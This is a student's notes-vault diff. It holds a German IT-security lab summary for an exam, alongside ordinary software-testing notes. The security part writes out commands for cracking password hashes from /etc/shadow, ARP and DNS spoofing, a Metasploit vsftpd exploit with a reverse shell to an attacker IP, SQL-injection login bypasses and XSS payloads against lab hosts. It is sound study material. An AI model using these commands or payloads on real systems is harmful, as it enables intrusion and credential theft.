vault backup: 2025-07-03 16:57:46

Semester 6/ITSARCH/Klausurvorbereitung.md

@@ -6,14 +6,37 @@
 - [x] Exploits IDS
 - [x] IPSEC
 - [x] SSH
+
+# Gelesene Skript-Zusammenfassungen
+- [ ] Hashfunktionen
+- [ ] TLS 4.5
+- [ ] Firewalling
+- [ ] IP-Tables
+- [x] Exploits IDS
+- [ ] IPSEC
+- [ ] SSH
+
 # Videos
 - [x] 3- hashing und signatur
-- [ ] 5 - challenge-response
+- [x] 5 - challenge-response
 - [ ] 6 - zertifikat
 - [ ] 7 - schlüsselhierarchien teil 1
-# Praktika
+
+# Praktika (Zusammenfassung KI)
 - [x] 060 Portscans
 - [x] 010 Passwortsicherheit
+- [x] 020 DNS-Angriff
+- [x] 080 Mintm Attack
+- [x] 030 RADIUS
+- [x] 050 Firewall-Pen
+- [x] 120 IDS
+- [x] 160 Metasploit
+- [x] 110 SQL-Angriffe
+- [x] 100 XSS-Angriffe
+# Praktika (Durgeführt)
+- [x] 060 Portscans
+- [x] 010 Passwortsicherheit
+	- Kein Zugriff auf den eigentlichen Rechner, weil der Nutzer nicht im Shadowtable ist... nice
 - [ ] 020 DNS-Angriff
 - [ ] 080 Mintm Attack
 - [ ] 030 RADIUS

Semester 6/ITSARCH/Labore/Zusammenfassung.md

@@ -0,0 +1,348 @@
+## 🖥️ **VirtualBox/VM Performance**
+
+- Schildkröte-Symbol → Hyper-V und WSL unter Windows deaktivieren
+- Alternative: VMWare Workstation Pro (kostenloser Account nötig)
+
+---
+
+## 🔌 **Portscans**
+
+**Was ist ein Port?**
+
+- Virtuelle Schnittstelle für Verbindungen (0–65535 TCP/UDP, Layer 4)
+- Well Known Ports (0–1023): z. B. 22/SSH, 80/HTTP, 443/HTTPS, 53/DNS
+
+**Portscanner?**
+
+- Prüft Ports eines Hosts auf „offen“, „geschlossen“, „gefiltert“
+- Tools: `nmap`, `nc`, Bash-Loops mit `/dev/tcp`
+
+**Portscan-Techniken**
+
+- `Ping Scan`: ICMP Echo
+- `TCP SYN`: halb-offen (kein 3-Way Handshake)
+- `TCP Connect`: vollständiger 3-Way Handshake
+- `UDP Scan`: leere Pakete
+- `Stealth Scan`: FIN, XMAS, Idle Scan (Zombie)
+
+**Detection & Prevention**
+
+- Ungewöhnliches Verbindungsverhalten (viele Ports/IP)
+    
+- Tools: Firewalls, IDS, Rate-Limiting, Default-Deny-Prinzip
+    
+
+**Befehle**
+
+```bash
+netstat -tulpn
+sudo lsof -i -P -n
+nmap -p 20-80 172.22.x.x
+nc -zv 172.22.x.x 20-80
+```
+
+---
+
+## 🔑 **Passwortsicherheit**
+
+**Gute Passwörter**
+
+- ≥12 Zeichen, Groß/Klein, Ziffern, Sonderzeichen
+- Keine Wörterbuchwörter oder persönliche Daten
+- Passwort-Manager nutzen, keine Wiederverwendung
+
+**Cracking-Tools**
+
+- Online: Hydra, crackstation.net
+- Offline: John the Ripper (JtR), Hashcat, ophcrack, Rainbowcrack
+
+**John the Ripper (JtR)**
+
+- Hash-Identifikation, Kandidaten-Generierung, Vergleich
+- Crack-Modi: Single, Wordlist, Incremental, Mask, Markov, Regex
+- Speed-Up: GPU, Threads `--fork=4`, gezielte Wortlisten
+- Linux: `sudo unshadow /etc/passwd /etc/shadow > combined.txt`
+- Crack: `john --wordlist=rockyou.txt combined.txt --format=crypt --users=root`
+
+**Rainbow Tables**
+
+- Vorgefertigte Hash-Ketten, schneller Lookup
+- Effektiv gegen unsalted Hashes (z. B. LM/NTLM)
+
+---
+
+## 🕵️‍♂️ **Man-in-the-Middle (MITM) & ARP-Spoofing**
+
+**Grundidee**
+
+- Angreifer täuscht Opfer und Gateway falsche MACs vor → Datenverkehr geht durch den Angreifer
+
+**Tools & Schritte**
+
+- `arp` → ARP-Cache anzeigen
+- Metasploit:
+    ```bash
+    use auxiliary/spoof/arp/arp_poisoning
+    set SHOSTS <gateway-IP>
+    set DHOSTS <victim-IP>
+    exploit
+    ```
+- Ettercap (GUI): Unified sniffing → Targets → Plugins → ARP Poisoning
+
+**HTTPS MITM**
+
+- Zertifikatsinjektion (Cain & Abel)
+- Nur möglich mit selbstsignierten Zertifikaten oder Downgrade-Attacken
+
+---
+
+## 🌐 **DNS-Angriffe**
+
+**Methoden**
+
+- DNS Spoofing / Cache Poisoning
+- DNS Hijacking, NXDOMAIN-Attacken
+- DNS Tunneling
+- DoH/DoT als Gegenmaßnahme
+
+**Befehle**
+
+```bash
+vim /etc/ettercap/etter.dns
+github.com A <Angreifer-IP>
+```
+
+- Ettercap: DNS-Spoof Plugin aktivieren
+---
+
+## 🔥 **Firewalls**
+
+**Typen (nach Effizienz)**
+
+1. Application Gateway (Layer 7)
+2. Proxy-Firewall
+3. Stateful Inspection (pfSense)
+4. Paketfilter-Firewall
+
+**Befehle**
+
+```bash
+iptables -I INPUT -p tcp --dport 80 -j DROP
+iptables -L -v
+firewall-cmd --direct --add-rule ipv4 filter OUTPUT 0 -d <IP> -j REJECT
+```
+
+**Ports scannen**
+
+```bash
+nmap -T4 <Firewall-IP>
+```
+
+---
+
+## 👀 **Intrusion Detection Systems (IDS)**
+
+**Typen**
+
+- NIDS: Netzwerkbasiert
+- HIDS: Hostbasiert
+- Hybrid, Anomaly-based, Signature-based
+
+**Tools**
+
+- Snort:
+    ```bash
+    snort -q -A console -i eth0 -c /etc/snort/snort.conf
+    ```
+- Regeln:
+    ```text
+    alert tcp any any -> 192.168.1.10 80 (msg:"HTTP access detected"; sid:1000001;)
+    ```
+
+---
+
+## 📡 **RADIUS**
+
+**AAA-Prinzip**
+
+- Authentifizierung: Wer bist du?
+- Autorisierung: Was darfst du?
+- Accounting: Was hast du gemacht?
+
+**Protokolle**
+
+- PAP: Klartext (unsicher)
+- CHAP: Challenge-Response (sicherer)
+- EAP-TLS: Zertifikatsbasierte Auth (sehr sicher)
+
+**Konfiguration**
+
+- Clients: `/etc/raddb/clients.conf`
+- Users: `/etc/raddb/users`
+
+**Test**
+
+```bash
+radtest bob Secret123 <RADIUS-IP> 1812 secret123
+```
+
+---
+
+## 🎯 **Metasploit**
+
+**Phasen Pentest (BSI)**
+
+1. Vorbereitung
+2. Informationsbeschaffung
+3. Bewertung
+4. Angriff
+5. Abschluss
+
+**Modultypen**
+
+- Exploit: Schwachstelle ausnutzen
+- Payload: Shells, Meterpreter
+- Auxiliary: Scans, Fuzzing, DoS
+- Post-Exploitation: Nach dem Zugriff Aktionen durchführen
+
+**Befehle**
+
+```bash
+msfconsole
+search vsftpd
+use exploit/unix/ftp/vsftpd_234_backdoor
+set RHOST <target-IP>
+set PAYLOAD linux/x86/shell_reverse_tcp
+set LHOST <attacker-IP>
+exploit
+```
+
+
+---
+
+## 🗄️ **SQL Injection**
+
+🔑 **Login-Bypass Beispiel**
+
+```sql
+Email: Admin@1337.org
+Passwort: " OR 1=1;#
+```
+
+➡️ Führt zu Query:
+
+```sql
+SELECT * FROM testumgebung_mysql_db.user 
+WHERE user_email = "Admin@1337.org" 
+AND user_password = "" OR 1=1;#
+```
+
+✅ Da `1=1` immer true → Zugriff auch ohne Passwort
+
+---
+
+🔑 **Weitere Login-Bypass Varianten (Labor)**
+
+- Mit manipuliertem Benutzernamen:
+
+```sql
+Email: SvenMoller@teleworm.us
+Passwort: " OR 1=1;#
+```
+
+➡️ Erfolgreich eingeloggt als Arand1978
+
+- LIMIT 1 für nur einen User:
+
+```sql
+Email: " OR 1=1 LIMIT 1;#
+Passwort: ignore
+```
+
+➡️ Erfolgreich eingeloggt
+
+---
+
+🛠️ **Tool: sqlmap (Labor)**  
+Analysiere SQLi-Lücken:
+
+```bash
+sqlmap -u "http://172.22.180.102/nie/php/XSS_ProductView.php?clicked=1"
+sqlmap -u "http://172.22.180.102/nie/php/XSS_ProductView.php?clicked=2+AND+2=2"
+```
+
+---
+
+⚠️ **Hinweis (Labor)**
+
+- `UNION SELECT` NICHT klausurrelevant:
+
+```sql
+XSS_ProductView.php?clicked=1 UNION SELECT 1,'test',3,4,5
+```
+
+---
+
+## 🪞 **Cross-Site Scripting**
+
+📌 **Reflexives XSS (Labor)**  
+Angriff im Suchfeld:
+
+```html
+<script>alert('XSS')</script>
+```
+
+URL-Beispiel:
+
+```
+http://172.22.180.203/nie/php/XSS_Umgebung.php?suche=<script>alert('XSS')</script>
+```
+
+➡️ Beim Aufruf wird der JS-Code direkt im Browser ausgeführt
+
+---
+
+📌 **Persistentes XSS (Labor)**  
+Kommentar-Input manipulieren:
+
+```
+Was ein wünderschönes Stück Baum dies doch ist. <script>alert('XSS')</script>
+```
+
+➡️ Jeder Nutzer, der die Seite lädt, bekommt den Alert
+
+**Verschleierung (Labor)**:  
+Kommentartext so gestalten, dass `<script>` im DB-Dump weniger auffällt.
+
+---
+
+🛠️ **Tool: xsser (Labor)**  
+Automatisierte XSS-Prüfung:
+
+```bash
+xsser -u http://172.22.180.102/nie/php/XSS_Umgebung.php?suche=XSS -s --user-agent "Googlebot/2.1" --threads 5
+```
+
+---
+
+🚨 **Session Hijacking (Labor Bonus)**
+
+- Mit XSS Session Cookies stehlen
+- Danach als Opfer-User einloggen
+
+**Mitigation**:
+
+- `HttpOnly` Flag für Cookies
+- `htmlspecialchars($input, ENT_QUOTES)` in PHP
+
+---
+
+## 📋 **Kompakte Klausur-Befehlsübersicht**
+
+|Angriff|Beispiel / Befehl|
+|---|---|
+|SQLi Login-Bypass|`Email: " OR 1=1;#`|
+|SQLi Tool|`sqlmap -u "<URL>"`|
+|Reflektiertes XSS|URL: `?suche=<script>alert(1)</script>`|
+|Persistentes XSS|Kommentar: `<script>alert('XSS')</script>`|
+|XSS Tool|`xsser -u <URL> -s --threads 5`|

Semester 6/ITSARCH/Skript_Notizen/Exploits IDS_IPS.md

@@ -3,9 +3,7 @@
 - Ausnutzung einer **Sicherheitslücke** in Software/IT-Systemen
 - Besteht aus:
     - **Schadcode / Shellcode** (führt Payload aus)
-        
     - **Payload**: z. B. Fernzugriff, Malware, Download weiterer Software
-        
 - Oft **spezifisch** für ein bestimmtes Programm/Version
 ### Lebenszyklus einer Sicherheitslücke
 1. Sicherheitslücke existiert (unbekannt)
@@ -46,11 +44,12 @@
 ### Ziel
 - Erkennung und ggf. Verhinderung von Angriffen auf IT-Systeme
 ### Unterscheidung:
-|IDS|IPS|
+| IDS                         | IPS                            |
-|---|---|
+| --------------------------- | ------------------------------ |
-|Erkennung & Alarmierung|Erkennung + aktive Blockierung|
+| Erkennung & Alarmierung     | Erkennung + aktive Blockierung |
-|Passiv|Aktiv|
+| Passiv                      | Aktiv                          |
-|Beispiel: **Snort** als IDS|Snort mit Blockier-Funktion|
+| Beispiel: **Snort** als IDS | Snort mit Blockier-Funktion    |
+
 ---
 ## 🧱 IDS-KOMPONENTEN
 - **Sensor**: erkennt Ereignisse (Datenquelle)
@@ -105,7 +104,6 @@
     - Preprozessoren
     - Add-ons
     - Logging- und Alarmierungsmechanismen
-        
 ### Aufbau
 1. **Packet Decoder**: liest eingehende Pakete
 2. **Preprozessor**: erkennt z. B. Portscans

Semester 6/SWTEST/CTFL-Kapitel 0.md

@@ -1,11 +1,8 @@
 ## 🎯 ZIELE DER LEHRVERANSTALTUNG
 
 - Vermittlung von **Grundlagen im Softwaretesten**
-    
 - Verständnis für **Begriffe, Aufgaben, Methoden & Verfahren**
-    
 - Vorbereitung auf die **CTFL-Prüfung** (international anerkannt)
-    
 
 ---
 
@@ -14,42 +11,30 @@
 ### Beispiele schwerwiegender Softwarefehler:
 
 - ❌ Ariane 5: Absturz durch Reuse fehlerhafter Lageregelungssoftware
-    
 - ❌ T-Mobile (2009): Netzstörung durch Fehler im HLR
-    
 - ❌ Deutsche Bank / BAföG / GM / Roche: Fehler mit realen Konsequenzen
-    
 
 ➡️ Softwarefehler führen zu:
 
 - **wirtschaftlichen Schäden**
-    
 - **Lebensgefahr (z. B. Medizintechnik, Automotive)**
-    
 - **Imageverlust**
-    
 
 ---
 
 ## 💥 BEGRIFFE: Fehler, Bug, Defekt
 
 - **Fehler (Defect)**: Abweichung vom erwarteten Verhalten
-    
 - **Bug**: oft als Synonym genutzt
-    
 - **Erster dokumentierter Bug**: Motte im Relay (1947)
-    
 
 ---
 
 ## 🧠 TESTBARENGRUNDLAGEN
 
 - Vollständiges Austesten ≠ realistisch möglich
-    
     - Beispiel 1: 3 Eingabewerte à 16 Bit → 2⁴⁸ Kombinationen → **ca. 90 Jahre**
-        
     - Beispiel 2: Schleifen + Verzweigungen → 10¹⁴ Testfälle → **38 Jahre**
-        
 
 ➡️ **Testen ist selektiv & risikobasiert notwendig!**
 
@@ -60,22 +45,15 @@
 ### Testziele:
 
 - **Funktionalität prüfen**: korrektes Verhalten bei Eingaben
-    
 - **Fehlerhafte Eingaben erkennen**: negative Zahlen, zu viele/wenige Werte etc.
-    
 - **Grenzwerte testen**: z. B. `0`, `Max_Int`
-    
 
 ### Beispiel-Testfälle:
 
 - Gleichseitig: 2,2,2
-    
 - Ungleichseitig: 2,3,4
-    
 - Ungültig: -5, 0, Zeichen, zu viele Werte
-    
 - Spezialfälle: Kombinationen nahe Grenzwerten
-    
 
 ➡️ **Testdaten ≠ zufällig**, sondern **gezielt konstruiert**
 
@@ -86,7 +64,6 @@
 **Automobilindustrie**:
 
 - Komponententest → Integrationstest → Systemtest → Abnahmetest → Stresstest
-    
 
 ➡️ Übertragbar auf Software: **Teststufen & strukturiertes Vorgehen**
 
@@ -95,24 +72,17 @@
 ## 💬 FAZIT / MERKSPRÜCHE
 
 - **„Testen zeigt die Anwesenheit von Fehlern, nicht ihre Abwesenheit.“**
-    
 - **„Ein Test ohne definiertes Ziel ist Zeitverschwendung.“**
-    
 - **„Keine Software ist fehlerfrei.“**
-    
 - **„Vollständiges Austesten ist meist unmöglich.“**
-    
 
 ---
 
 ## 📚 LITERATUR & WEITERFÜHRENDES
 
 - Lehrbuch: **Spillner/Linz** – _Basiswissen Softwaretest_
-    
 - Weitere: Beizer, Myers, Liggesmeyer, TMap, ISO 29119
-    
 - Fachzeitschriften & Konferenzen: _GTB_, _EuroSTAR_, _ICST_
-    
 
 ---
 

Semester 6/SWTEST/CTFL-Kapitel 1.md

@@ -5,30 +5,20 @@
 ### 1.1 Warum ist Testen notwendig?
 
 - Softwarefehler können **Kosten, Sicherheitsprobleme, Rufschädigung** verursachen.
-    
 - Gründe für Fehler:
-    
     - Missverständnisse, Zeitdruck, komplexe Systeme, neue Technologien.
-        
 - **Testen reduziert Risiken**, aber **kann Fehler nicht vollständig beseitigen**.
-    
 
 ---
 
 ### 1.2 Was ist Testen?
 
 - Testen = **Planung, Vorbereitung, Durchführung & Bewertung** von Softwaretests.
-    
 - Ziel:
-    
     - Fehler finden
-        
     - Vertrauen schaffen
-        
     - Konformität mit Anforderungen prüfen
-        
     - Grundlage für Qualität liefern
-        
 
 ---
 
@@ -46,9 +36,7 @@
 ### 1.4 Testen und Debuggen
 
 - **Testen**: Fehler _finden_
-    
 - **Debuggen**: Fehler _analysieren und beheben_
-    
 
 ➡️ Zwei **komplementäre Aktivitäten** im Lebenszyklus
 
@@ -57,32 +45,21 @@
 ### 1.5 Sieben Prinzipien des Testens (💡 Prüfungsrelevant)
 
 1. **Testen zeigt Anwesenheit von Fehlern, nicht deren Abwesenheit**
-    
 2. **Vollständiges Testen ist nicht möglich**
-    
 3. **Frühes Testen spart Zeit und Geld**
-    
 4. **Fehlerhäufung in bestimmten Bereichen (Pareto-Prinzip)**
-    
 5. **Testwiederholungen → Testfälle anpassen (Testfallverfall)**
-    
 6. **Testen ist kontextabhängig (z. B. sicherheitskritisch vs. Webshop)**
-    
 7. **Trugschluss Fehlerfreiheit ≠ Gebrauchstauglichkeit**
-    
 
 ---
 
 ### 1.6 Testprozess (Phasenmodell)
 
 1. **Testplanung und -steuerung**
-    
 2. **Testanalyse und -design**
-    
 3. **Testrealisierung und -durchführung**
-    
 4. **Testauswertung und -abschluss**
-    
 
 ➡️ Unterstützt durch **Testüberwachung, Metriken & Dokumentation**
 
@@ -91,16 +68,12 @@
 ### 1.7 Psychologie des Testens
 
 - Zielkonflikt Entwickler vs. Tester:
-    
     - Entwickler: „Software funktioniert!“
-        
+    - Tester: „Software hat Schwächen!“    
-    - Tester: „Software hat Schwächen!“
-        
 
 🧠 Gute Zusammenarbeit & Kommunikation sind entscheidend:
 
 - **Objektivität, Kritikfähigkeit, keine Schuldzuweisungen**
-    
 
 ---
 

Semester 6/SWTEST/CTFL-Kapitel 2.md

@@ -9,18 +9,13 @@
 #### a) Sequenzielle Modelle (klassisch, Wasserfall, V-Modell)
 
 - **Vorteil**: frühzeitige Planung, klare Phasen
-    
 - **Nachteil**: späte Fehlererkennung, wenig flexibel
-    
 
 #### b) Iterative/inkrementelle Modelle (z. B. Agile)
 
 - **Testen** = integraler Bestandteil jeder Iteration
-    
 - Kontinuierliches Feedback, frühe Tests
-    
 - Flexibler, aber aufwändiger
-    
 
 ---
 
@@ -42,52 +37,38 @@
 #### Funktionale Tests
 
 - Verhalten & Funktionen
-    
 - z. B. Geschäftslogik, Benutzerinteraktion
-    
 
 #### Nicht-funktionale Tests
 
 - **Leistung**, **Benutzbarkeit**, **Zuverlässigkeit**, **Sicherheit**
-    
 - Beispiel: Lasttests, Sicherheitstests
-    
 
 #### Strukturbezogene Tests
 
 - Interne Struktur (z. B. Codeabdeckung, Verzweigungspfad)
-    
 
 #### Änderungsbezogene Tests
 
 - **Re-Tests**: Prüfen behobener Fehler
-    
 - **Regressionstests**: Prüfen unbeabsichtigter Nebeneffekte
-    
 
 ---
 
 ### 2.4 Wartungstest
 
 - Tests im Produktivsystem nach Änderungen (Fehlerbehebung, Anpassung)
-    
 - Besonders wichtig:
-    
     - **Regressionstest**
-        
     - **Impact-Analyse**
-        
 - Testdaten und Testumgebung **aktuell halten**
-    
 
 ---
 
 ### 2.5 Teststufen & Testarten kombinieren
 
 - Beispiel: Im **Systemtest** können **funktionale Tests** UND **nicht-funktionale Tests** durchgeführt werden.
-    
 - Jeder Teststufe können verschiedene **Testziele** zugeordnet werden.
-    
 
 ---
 

Semester 6/SWTEST/CTFL-Kapitel 3.md

@@ -5,16 +5,12 @@
 ### 3.1 Was ist statisches Testen?
 
 - **Statisches Testen** = Analyse **ohne Programmausführung**
-    
 - Ziel: **Frühzeitiges Erkennen** von Fehlern und Schwächen
-    
 - Ergänzt dynamisches Testen (mit Programmausführung)
-    
 
 **Beispiele:**
 
 - Dokumentation, Code, Testfälle, Anforderungen prüfen
-    
 
 ---
 
@@ -32,22 +28,15 @@
 #### Ziele:
 
 - Automatisierte Prüfung von Quellcode
-    
 - **Vermeidung technischer Schulden**
-    
 
 #### Erkennbar durch Tools:
 
 - **Syntaxfehler**
-    
 - **Nicht initialisierte Variablen**
-    
 - **Dead Code / nicht erreichbarer Code**
-    
 - **Verletzungen von Codierstandards**
-    
 - **Sicherheitslücken (z. B. Buffer Overflow)**
-    
 
 ➡️ **Ergänzung, kein Ersatz für Reviews!**
 
@@ -81,15 +70,10 @@
 ### 3.6 Reviewprozess (z. B. Inspektion)
 
 1. **Planung** (Teilnehmer, Artefakt, Reviewziel)
-    
 2. **Kick-off** (Einführung, Zielklärung)
-    
 3. **Einzelprüfung** (Teilnehmer sichten Artefakt individuell)
-    
 4. **Review-Meeting** (gemeinsame Sichtung, Diskussion)
-    
 5. **Nachbearbeitung** (Fehlerbehebung, Follow-up)
-    
 
 ---
 

Semester 6/SWTEST/CTFL-Kapitel 4-1.md

@@ -5,11 +5,8 @@
 ### 4.1 Einleitung: Warum Testverfahren?
 
 - Systematisches Vorgehen → bessere **Testabdeckung**
-    
 - Unterstützung bei der Erstellung **guter Testfälle**
-    
 - Ziel: Fehler früh entdecken & reproduzierbar testen
-    
 
 ---
 
@@ -30,37 +27,27 @@ Nutzen **Eingabe-Ausgabe-Beziehung**, ohne Quellcode zu betrachten.
 #### a) Äquivalenzklassenbildung
 
 - Eingaben in gültige/ungültige **Klassen** einteilen
-    
 - **Aus jeder Klasse → 1 Testfall**
-    
 
 #### b) Grenzwertanalyse
 
 - Grenzwerte sind **fehleranfällig**
-    
 - Testfälle **am Rand** der Äquivalenzklassen
-    
 
 #### c) Entscheidungstabellen
 
 - Repräsentieren **Regeln & Bedingungen**
-    
 - Kombinationen aus Bedingungen → Aktionen
-    
 
 #### d) Zustandsbasierter Test
 
 - Bei **zustandsbehafteten Systemen** (z. B. Automaten)
-    
 - Zustände, Übergänge, Events → modellieren & testen
-    
 
 #### e) Use Case Test
 
 - **Szenarien aus Benutzersicht** abdecken
-    
 - Ziel: reale Nutzungspfade testen
-    
 
 ---
 
@@ -69,14 +56,11 @@ Nutzen **Eingabe-Ausgabe-Beziehung**, ohne Quellcode zu betrachten.
 Berücksichtigen **interne Struktur** des Systems/Programms
 
 #### a) Anweisungsüberdeckung
-
 - Jede Anweisung im Code muss mindestens **einmal ausgeführt** werden
-    
 
 #### b) Zweigüberdeckung
 
 - Jeder Entscheidungspunkt (z. B. `if`, `else`) → **jede Richtung** wird getestet
-    
 
 ➡️ Für Entwicklernahe Tests (z. B. Komponententest)
 
@@ -85,24 +69,16 @@ Berücksichtigen **interne Struktur** des Systems/Programms
 ### 💡 3. ERFAHRUNGSBASIERTE VERFAHREN
 
 - Beruhen auf **Intuition, Erfahrung, Bauchgefühl**
-    
 - Beispiele:
-    
     - **Fehlerbasiertes Testen**
-        
     - **Checklisten**
-        
     - **Exploratives Testen**
-        
 
 Einsatz besonders:
 
 - wenn wenig Dokumentation vorhanden ist
-    
 - bei Timeboxing (agile Projekte)
-    
 - als Ergänzung zu strukturierten Verfahren
-    
 
 ---
 

Semester 6/SWTEST/CTFL-Kapitel 4-2.md

@@ -5,9 +5,7 @@
 ### 🎯 Ziel
 
 - Testfälle auf Basis der **Anforderungen/Spezifikation** ableiten
-    
 - Fokus: **funktionales Verhalten** (ohne Quellcode)
-    
 
 ---
 
@@ -16,23 +14,16 @@
 ### Ziel:
 
 - Eingaberaum in **repräsentative Klassen** aufteilen (gültig + ungültig)
-    
 
 ### Vorgehen:
 
 1. Klassen identifizieren (z. B. Wertebereiche)
-    
 2. Gültige & ungültige Klassen bilden
-    
+3. Pro Klasse → 1 Repräsentant    
-3. Pro Klasse → 1 Repräsentant
-    
 
 **Beispiel: Eingabe 1–10**
-
 - Gültig: 1–10 → z. B. Testwert 5
-    
 - Ungültig: <1, >10 → z. B. Testwert 0 und 11
-    
 
 ---
 
@@ -41,17 +32,14 @@
 ### Ziel:
 
 - **Fehler an Grenzen** von Wertebereichen erkennen
-    
 
 ### Vorgehen:
 
 - Testfälle an & um die Grenze: `Grenze - 1`, `Grenze`, `Grenze + 1`
-    
 
 **Beispiel: Bereich 1–10**
 
 - Testfälle: 0, 1, 2 | 9, 10, 11
-    
 
 ➡️ Ergänzt Äquivalenzklassen
 
@@ -62,23 +50,17 @@
 ### Ziel:
 
 - **Regelbasierte Entscheidungen** systematisch testen
-    
 
 ### Bestandteile:
 
 - Bedingungen (z. B. "Kunde zahlt bar?")
-    
 - Aktionen (z. B. "Rabatt gewähren")
-    
 - Tabelle listet alle möglichen **Kombinationen**
-    
 
 ### Vorteile:
 
 - Gute Testabdeckung bei **Kombinatorik**
-    
 - Auch für Geschäftsregeln & Konfigurationen geeignet
-    
 
 ---
 
@@ -87,25 +69,18 @@
 ### Ziel:
 
 - Testen von Systemen mit **internen Zuständen**
-    
 
 ### Elemente:
 
 - **Zustände** (z. B. „angemeldet“, „abgemeldet“)
-    
 - **Ereignisse/Übergänge** (z. B. „Login“, „Logout“)
-    
 - **Aktionen** (z. B. „Zugriff erlaubt“)
-    
 
 ### Arten von Tests:
 
 - Alle Übergänge
-    
 - Alle Zustände
-    
 - Ungültige Übergänge
-    
 
 ➡️ Modellierung über **Zustandsdiagramme** sinnvoll
 
@@ -116,23 +91,17 @@
 ### Ziel:
 
 - **Benutzerverhalten / Interaktionen** mit dem System testen
-    
 
 ### Merkmale:
 
 - Abbildung typischer **Szenarien**
-    
 - Fokus auf **End-to-End-Abläufe**
-    
 - Kann auch **nicht-funktionale Aspekte** einbeziehen
-    
 
 ### Beispiele:
 
 - "Benutzer meldet sich an"
-    
 - "Benutzer gibt Bestellung auf"
-    
 
 ---
 

Semester 6/SWTEST/CTFL-Kapitel 6.md

@@ -6,12 +6,9 @@
 
 #### Ziele:
 
-- Effizienz steigern
+- Effizienz steigern    
-    
 - Wiederholbarkeit sicherstellen
-    
 - Fehler vermeiden
-    
 
 #### Typische Tool-Einsatzbereiche:
 
@@ -32,22 +29,15 @@
 #### ✅ Vorteile:
 
 - Automatisierung → **Zeitersparnis**
-    
 - **Konsistenz & Reproduzierbarkeit**
-    
 - **Skalierbarkeit** bei Regressionstests
-    
 
 #### ⚠️ Risiken:
 
 - **Einführungsaufwand** hoch
-    
 - **Wartung & Pflege** der Tools notwendig
-    
 - Gefahr von **Tool-Gläubigkeit** („Tool löst alle Probleme“)
-    
 - **Falsche Anwendung** kann schaden
-    
 
 ---
 
@@ -69,26 +59,17 @@
 #### Auswahlkriterien:
 
 - Projekt- & Teamgröße
-    
 - Integration in bestehende Infrastruktur
-    
 - Schulungsbedarf
-    
 - Support & Lizenzmodell
-    
 
 #### Einführungsprozess:
 
 1. **Bedarf klären**
-    
 2. **Tool evaluieren & auswählen**
-    
 3. **Pilotphase**
-    
 4. **Rollout**
-    
 5. **Wartung & kontinuierliche Verbesserung**
-    
 
 ---
 
@@ -97,18 +78,13 @@
 #### Typische Einsatzszenarien:
 
 - **Regressionstests**
-    
 - **Build-Verifikation (CI/CD)**
-    
 - **Performance-Messung**
-    
 - **Datengetriebenes Testen**
-    
 
 ➡️ **Automatisierung ≠ universell sinnvoll**
 
 - Bei **explorativem Testen**, UX-Tests oder stark ändernden UIs → lieber manuell
-    
 
 ---
 

Semester 6/SWTEST/Klausurvorbereitung.md

@@ -8,4 +8,6 @@
 - [ ] Kap 5
 - [ ] Kap 6
 
-## Bearbeitung der Aufgaben
+## Bearbeitung der Aufgaben
+
+## Zusammensuchen von Klausuren und Tests

Semester 6/SWTEST/Liste Exams.md

@@ -0,0 +1,23 @@
+## English
+
+https://www.istqb.org/wp-content/uploads/2024/11/ISTQB_CTFL_v4.0_Sample-Exam-A-Questions_v1.6.pdf
+
+https://isqi.org/media/5d/9d/2c/1734010921/ISTQB_CTFL40_Sample-Exam-Questions_SET-B_v1.3.2_GTB-edition_engl_EN_.pdf
+
+https://www.gtb.de/wp-content/uploads/2023/11/ISTQB_CTFL40_Sample-Exam-Questions_SET-A_v2.1_engl.pdf
+
+https://www.processexam.com/files/processexam/download/CTFL-ISTQB-Certified-Tester-Foundation-Level.pdf
+
+https://astqb.org/assets/documents/ISTQB_CTFL_Sample-Exam-Answers_v4.0.pdf
+
+https://isqi.org/media/69/47/e5/1734010610/ISTQB_CTFL40_Sample-Exam-Answers_SET-A_v2.1_GTB-edition_engl_EN_.pdf
+
+https://www.gtb.de/wp-content/uploads/2024/09/ISTQB_CTFL40_Sample-Exam-Questions_SET-E_v1.0_GTB-edition_engl.pdf
+
+https://isqi.org/media/5d/9d/2c/1734010921/ISTQB_CTFL40_Sample-Exam-Questions_SET-B_v1.3.2_GTB-edition_engl_EN_.pdf
+## German
+https://isqi.org/media/8a/d4/a5/1713444247/GTB-CTFL-AcT_Sample-Exam-Answers_v2019_DE_.pdf
+
+https://assets.brightest.org/media/resources/ISTQB_CTFL_2018_Sample_Exam_Questions_German.pdf
+
+https://swisstestingboard.org/wp-content/uploads/2024/11/GTB-CTFL-FA_2015A_Sample_Exam_Paper_v20_DE.pdf